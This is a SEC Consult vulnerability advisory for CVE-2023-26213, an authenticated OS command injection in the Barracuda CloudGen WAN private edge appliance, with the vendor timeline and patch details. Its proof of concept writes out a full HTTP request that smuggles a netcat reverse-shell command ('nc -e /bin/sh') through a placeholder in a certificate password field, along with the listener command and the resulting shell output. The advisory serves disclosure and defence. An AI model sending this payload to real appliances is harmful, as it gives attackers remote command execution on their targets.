SEC Consult Vulnerability Lab Security Advisory < 20230228-0 >  
title: OS Command Injection  
product: Barracuda CloudGen WAN  
vulnerable version: < v8.* hotfix 1089  
fixed version: v8.* with hotfix webui-sdwan-1089-8.3.1-174141891 or above  
version 9.0.0 or above  
CVE number: CVE-2023-26213  
impact: High  
found: 2023-01-12  
by: Stefan Viehböck (Office Vienna)  
SEC Consult Vulnerability Lab  
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Vendor description:  
"CloudGen WAN is more than just another SD-WAN solution. It lets you build  
an automated cloud-based network by leveraging the Microsoft Global Network.  
The product of a joint development program by Microsoft and Barracuda,  
CloudGen WAN is the only global secure SD-WAN service built natively on Azure.  
It is a single, unified solution that makes it very simple to ensure highly  
secure, seamless connectivity to all your locations and all your cloud-based  
resources and applications."  
Business recommendation:  
The vendor provides a patch which should be installed immediately.  
SEC Consult highly recommends to perform a thorough security review of the product  
conducted by security professionals to identify and resolve potential further  
security issues.  
Vulnerability overview/description:  
1) Authenticated OS Command Injection (CVE-2023-26213)  
Barracuda CloudGen WAN provides a private edge appliance for hybrid deployments.  
An authenticated user in the administration interface for the private edge  
virtual appliance can inject arbitrary OS commands via the  
/ajax/update_certificate endpoint.  
Proof of concept:  
1) Authenticated OS Command Injection (CVE-2023-26213)  
The affected PHP application running on the appliance implements a custom  
wrapper for securely executing OS commands. The wrapper is inspired by SQL  
prepared statements and uses placeholders.  
Unfortunately an attacker can inject new placeholder strings within arguments.  
In the case where two or more arguments are controlled by the user, this allows  
an attacker to craft a placeholder which executes arbitrary commands.  
Example of a vulnerable call:  
// Extract the cert with the password  
$extract_cert_status = BN_Shell::exec(  
"openssl pkcs12 -in :tmp_cert -out :dst -clcerts -nokeys -passin pass::password",  
'tmp_cert' => $cert_folder . $name . '.base64',  
'dst' => $cert_folder . $name,  
'password' => $password  
Excerpt from BN_Shell::exec():  
// Execute a full command.  
// If you need to escape arguments, replace them with bind params, similar to sql binds.  
// Example: exec('ls /tmp/')  
// Example: exec('cp :source :dest', array('source' => '/src/dir/', 'dest' => '/dest/dir'))  
public static function exec($command, array $params = array()) {  
// escape and replace binds with values  
foreach($params as $param => $value) {  
$value = static::escape($value); // --- SEC Consult: this internally calls escapeshellargs() on the argument  
$command = str_replace(":$param", $value, $command);  
static::$_last_command = $command;  
$return = array();  
// use proc_open to get stdout and stderr  
$descriptorspec = array(  
0 => array("pipe", "r"), // stdin is a pipe that the child will read from  
1 => array("pipe", "w"), // stdout is a pipe that the child will write to  
2 => array("pipe", "w") // stderr is a file to write to  
The following HTTP request exploits the issue.  
The "name" argument contains the placeholder string ":password". At runtime,  
this is replaced by the argument "password", which in this case executes a  
reverse shell.  
POST /ajax/update_certificate HTTP/1.1  
Host: host  
Cookie: session_id=jk7dai0pv2vr9npoarfqnuajll  
X-Csrf-Token: 2da43562a3e1552259dea8dde327cd97c5176fdd  
Content-Type: application/json;charset=utf-8  
Content-Length: 999  
{"pem":{"certificate":{},"key":{}},"pems":{"certificate":{},"key":{}},"pkcs12":{"certificate":{"content":"XXXXXXXXXXXXXXXX","name":"keyStoreAAA :password.pfx"},"key":{},"password":"; nc -e /bin/sh 4242 # XXX"},"currentType":"pkcs12"}  
$ nc -l -p 4242  
uid=48(www-data) gid=48(www-data) groups=48(www-data)  
Vulnerable / tested versions:  
The issue was found in Barracuda CloudGen WAN (private edge appliance) version  
8.3.1 (GWAY-8.3.1-0086-VTxxx.ova).  
Vendor contact timeline:  
2023-01-12: Contacting vendor through bugcrowd submission.  
2023-01-12: Auto-response from bugcrowd, submission set to "not applicable".  
2023-01-13: Response from vendor, set to "triaged".  
2023-01-24: Vendor provides a patch/diff.  
2023-02-14: Vendor informs us that patch/hotfix 1089 has been released on 26th  
January as automatic patch for CGW sites and gateways. It targets  
version 8 and will be included in the future version 9. Vendor  
sets submission to "resolved"  
2023-02-14: Asking whether it is applicable to bug bounty and for CVE number.  
No response.  
2023-02-20: Informing vendor that we are going to request a CVE number and will  
publish the advisory afterwards.  
2023-02-20: Vendor response: no CVE was assigned yet, provides link to security  
2023-02-28: Release of security advisory.  
There is an updated version 8 with hotfix 1089 available, future version 9 also  
incorporates the fix.  
Barracuda customers should check the SDWAN WebUI or the cloud-based Appliance  
Dashboard (under the "Hotfixes" tab) and should confirm that:  
* The appliance is on version 8.* and it has hotfix webui-sdwan-1089-8.3.1-174141891 installed; or  
* The appliance is on version 9.0.0 or above  
The vendor published the following release notes:  
(search for hotfix 1089)  
Advisory URL:  
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EOF Stefan Viehböck / @2023